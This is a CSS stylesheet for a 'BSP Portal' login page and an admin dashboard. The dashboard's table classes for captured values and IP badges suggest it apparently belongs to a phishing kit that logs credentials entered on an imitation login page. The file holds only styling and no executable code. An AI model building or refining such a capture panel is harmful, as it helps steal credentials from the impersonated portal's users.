/* Design System for BSP Portal */

:root {
    --primary-color: #00a651;
    --primary-dark: #004d26;
    --bg-color: #f0f2f5;
    --text-color: #333;
    --text-muted: #666;
    --white: #ffffff;
    --shadow: 0 4px 30px rgba(0, 0, 0, 0.1);
    --border-radius: 16px;
    --transition: all 0.4s cubic-bezier(0.16, 1, 0.3, 1);
    --glass-bg: rgba(255, 255, 255, 0.7);
    --glass-border: rgba(255, 255, 255, 0.2);
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}

body {
    background-color: var(--bg-color);
    color: var(--text-color);
    line-height: 1.6;
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

/* Header Styles */
.header {
    background-color: var(--primary-dark);
    height: 60px;
    display: flex;
    align-items: center;
    padding: 0 20px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
    position: sticky;
    top: 0;
    z-index: 1000;
}

.header .menu-icon {
    color: var(--white);
    font-size: 24px;
    cursor: pointer;
    margin-right: 20px;
}

.header .brand {
    color: var(--white);
    font-size: 20px;
    font-weight: 700;
    display: flex;
    align-items: center;
}

/* Login Container */
.login-container {
    flex: 1;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
    background: linear-gradient(rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05)), url('https://images.unsplash.com/photo-1557683316-973673baf926?q=80&w=2000') center/cover;
}

.login-card {
    background: rgba(255, 255, 255, 0.95);
    backdrop-filter: blur(10px);
    width: 100%;
    max-width: 400px;
    padding: 40px 30px;
    border-radius: var(--border-radius);
    box-shadow: 0 15px 35px rgba(0,0,0,0.1);
    text-align: center;
    animation: fadeIn 0.8s ease-out;
}

@keyframes fadeIn {
    from { opacity: 0; transform: translateY(20px); }
    to { opacity: 1; transform: translateY(0); }
}

.logo-wrapper {
    margin-bottom: 25px;
}

.logo-wrapper img {
    height: 60px;
    object-fit: contain;
}

.login-card h1 {
    font-size: 24px;
    color: var(--primary-dark);
    margin-bottom: 30px;
    font-weight: 700;
}

/* Form Styles */
.form-group {
    text-align: left;
    margin-bottom: 20px;
}

.form-group label {
    display: block;
    font-size: 14px;
    font-weight: 600;
    color: var(--text-muted);
    margin-bottom: 8px;
}

.form-group input {
    width: 100%;
    padding: 14px 16px;
    border: 1.5px solid #e1e4e8;
    border-radius: 8px;
    font-size: 16px;
    transition: var(--transition);
    outline: none;
}

.form-group input:focus {
    border-color: var(--primary-color);
    box-shadow: 0 0 0 4px rgba(0, 166, 81, 0.1);
}

.checkbox-group {
    display: flex;
    align-items: center;
    font-size: 14px;
    color: var(--text-muted);
    margin-bottom: 25px;
}

.checkbox-group input {
    margin-right: 10px;
    width: 18px;
    height: 18px;
    cursor: pointer;
}

/* Button Styles */
.btn-login {
    width: 100%;
    padding: 15px;
    background-color: var(--primary-color);
    color: var(--white);
    border: none;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
    transition: var(--transition);
    box-shadow: 0 4px 15px rgba(0, 166, 81, 0.2);
}

.btn-login:hover {
    background-color: #008c44;
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(0, 166, 81, 0.3);
}

.btn-login:active {
    transform: translateY(0);
}

/* Link Styles */
.links-grid {
    display: flex;
    justify-content: center;
    gap: 15px;
    margin-top: 25px;
    flex-wrap: wrap;
}

.links-grid a {
    color: var(--text-muted);
    text-decoration: none;
    font-size: 13px;
    transition: var(--transition);
}

.links-grid a:hover {
    color: var(--primary-color);
}

.divider {
    color: #ddd;
}

.footer-note {
    margin-top: 30px;
    font-size: 12px;
    color: var(--text-muted);
    display: flex;
    align-items: center;
    justify-content: center;
}

.footer-note i {
    color: #f1c40f;
    margin-right: 5px;
}

/* Admin Dashboard Overhaul - Bold & Fine */
.admin-body {
    background: #0f172a;
    background-image: 
        radial-gradient(at 0% 0%, rgba(0, 166, 81, 0.15) 0, transparent 50%), 
        radial-gradient(at 50% 0%, rgba(0, 77, 38, 0.2) 0, transparent 50%), 
        radial-gradient(at 100% 0%, rgba(0, 166, 81, 0.15) 0, transparent 50%);
    color: #e2e8f0;
    min-height: 100vh;
}

.admin-header h1 {
    font-size: 36px;
    font-weight: 800;
    letter-spacing: -0.025em;
    background: linear-gradient(to right, #ffffff, #94a3b8);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    margin-bottom: 5px;
}

.admin-header p {
    color: #94a3b8;
    font-weight: 500;
}

.admin-container {
    padding: 40px 20px;
    max-width: 1200px;
    margin: 0 auto;
    width: 100%;
}

.admin-header {
    display: flex;
    justify-content: space-between;
    align-items: flex-end;
    margin-bottom: 40px;
}

.admin-container .table-wrapper {
    background: rgba(30, 41, 59, 0.7);
    backdrop-filter: blur(20px);
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 20px;
    box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.5);
    margin-top: 20px;
    overflow-x: auto;
}

.admin-container table {
    width: 100%;
    border-collapse: collapse;
    table-layout: fixed; /* Ensures structure isn't scattered */
}

.admin-container table th {
    background: rgba(15, 23, 42, 0.5);
    color: #94a3b8;
    text-transform: uppercase;
    font-size: 11px;
    letter-spacing: 0.1em;
    padding: 20px;
    border-bottom: 1px solid rgba(255, 255, 255, 0.05);
    text-align: left;
}

/* Specific column widths to prevent 'scattering' */
.admin-container table th:nth-child(1) { width: 80px; }
.admin-container table th:nth-child(2) { width: 25%; }
.admin-container table th:nth-child(3) { width: 25%; }
.admin-container table th:nth-child(4) { width: 150px; }
.admin-container table th:nth-child(5) { width: 150px; }
.admin-container table th:nth-child(6) { width: 120px; }

.admin-container table td {
    padding: 20px;
    border-bottom: 1px solid rgba(255, 255, 255, 0.05);
    color: #f1f5f9;
    word-break: break-all;
}

.admin-container tr:hover {
    background: rgba(255, 255, 255, 0.03);
}

.capture-value {
    font-size: 16px;
    font-weight: 700;
    color: #10b981;
}

.ip-badge {
    font-family: inherit;
    background: rgba(255, 255, 255, 0.05);
    padding: 4px 10px;
    border-radius: 6px;
    font-size: 12px;
    color: #94a3b8;
    border: 1px solid rgba(255, 255, 255, 0.1);
}

.admin-stats {
    display: grid;
    grid-template-columns: repeat(3, 1fr); /* Fixed 3 columns for stability */
    gap: 20px;
    margin-bottom: 30px;
}

.stat-card {
    background: rgba(30, 41, 59, 0.5);
    backdrop-filter: blur(10px);
    border: 1px solid rgba(255, 255, 255, 0.05);
    padding: 24px;
    border-radius: 16px;
    transition: var(--transition);
}

.stat-card:hover {
    transform: translateY(-5px);
    border-color: var(--primary-color);
}

.stat-card .label {
    font-size: 13px;
    font-weight: 600;
    color: #94a3b8;
    display: block;
    margin-bottom: 8px;
}

.stat-card .value {
    font-size: 28px;
    font-weight: 800;
    color: #fff;
}

/* Animations */
.animate-in {
    animation: slideUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) forwards;
}

@keyframes slideUp {
    from { opacity: 0; transform: translateY(30px); }
    to { opacity: 1; transform: translateY(0); }
}

.btn-danger {
    background-color: rgba(239, 68, 68, 0.1);
    color: #ef4444;
    border: 1px solid rgba(239, 68, 68, 0.2);
    padding: 10px 16px;
    border-radius: 8px;
    font-size: 14px;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
    display: inline-flex;
    align-items: center;
}

.btn-danger:hover {
    background-color: rgba(239, 68, 68, 0.2);
    border-color: rgba(239, 68, 68, 0.4);
}

.badge {
    padding: 4px 10px;
    border-radius: 6px;
    font-size: 12px;
    font-weight: 600;
    display: inline-block;
}

.badge-success {
    background-color: rgba(16, 185, 129, 0.1);
    color: #10b981;
    border: 1px solid rgba(16, 185, 129, 0.2);
}

/* Mobile Responsiveness */
@media (max-width: 768px) {
    .admin-header {
        flex-direction: column;
        align-items: flex-start;
        gap: 15px;
    }
    
    .admin-stats {
        grid-template-columns: 1fr;
        gap: 15px;
    }

    .admin-container {
        padding: 20px 15px;
    }
    
    .admin-header h1 {
        font-size: 28px;
    }

    .header .brand {
        font-size: 16px;
    }
    
    .logout-link {
        font-size: 12px;
        padding: 5px 8px;
    }

    /* Card-based table layout for mobile */
    .admin-container .table-wrapper {
        background: transparent;
        border: none;
        box-shadow: none;
        backdrop-filter: none;
    }

    .admin-container table,
    .admin-container thead,
    .admin-container tbody,
    .admin-container th,
    .admin-container td,
    .admin-container tr {
        display: block;
    }

    /* Hide table header row visually */
    .admin-container thead tr {
        position: absolute;
        top: -9999px;
        left: -9999px;
    }

    /* Each row becomes a card */
    .admin-container tbody tr {
        background: rgba(30, 41, 59, 0.7);
        backdrop-filter: blur(20px);
        border: 1px solid rgba(255, 255, 255, 0.08);
        border-radius: 14px;
        padding: 16px;
        margin-bottom: 16px;
        box-shadow: 0 8px 24px rgba(0, 0, 0, 0.3);
    }

    .admin-container tbody tr:hover {
        background: rgba(30, 41, 59, 0.85);
    }

    /* Each cell becomes a labeled row inside the card */
    .admin-container td {
        display: flex;
        justify-content: space-between;
        align-items: center;
        padding: 10px 0;
        border-bottom: 1px solid rgba(255, 255, 255, 0.05);
        font-size: 14px;
        word-break: break-all;
    }

    .admin-container td:last-child {
        border-bottom: none;
        padding-bottom: 0;
    }

    .admin-container td:first-child {
        padding-top: 0;
    }

    /* Inject the column label from data-label */
    .admin-container td::before {
        content: attr(data-label);
        font-size: 11px;
        font-weight: 700;
        text-transform: uppercase;
        letter-spacing: 0.08em;
        color: #64748b;
        flex-shrink: 0;
        margin-right: 12px;
        white-space: nowrap;
    }

    /* Empty state cell */
    .admin-container td[colspan] {
        display: block;
        text-align: center;
        border: none;
        padding: 40px 20px;
    }

    .admin-container td[colspan]::before {
        display: none;
    }
}
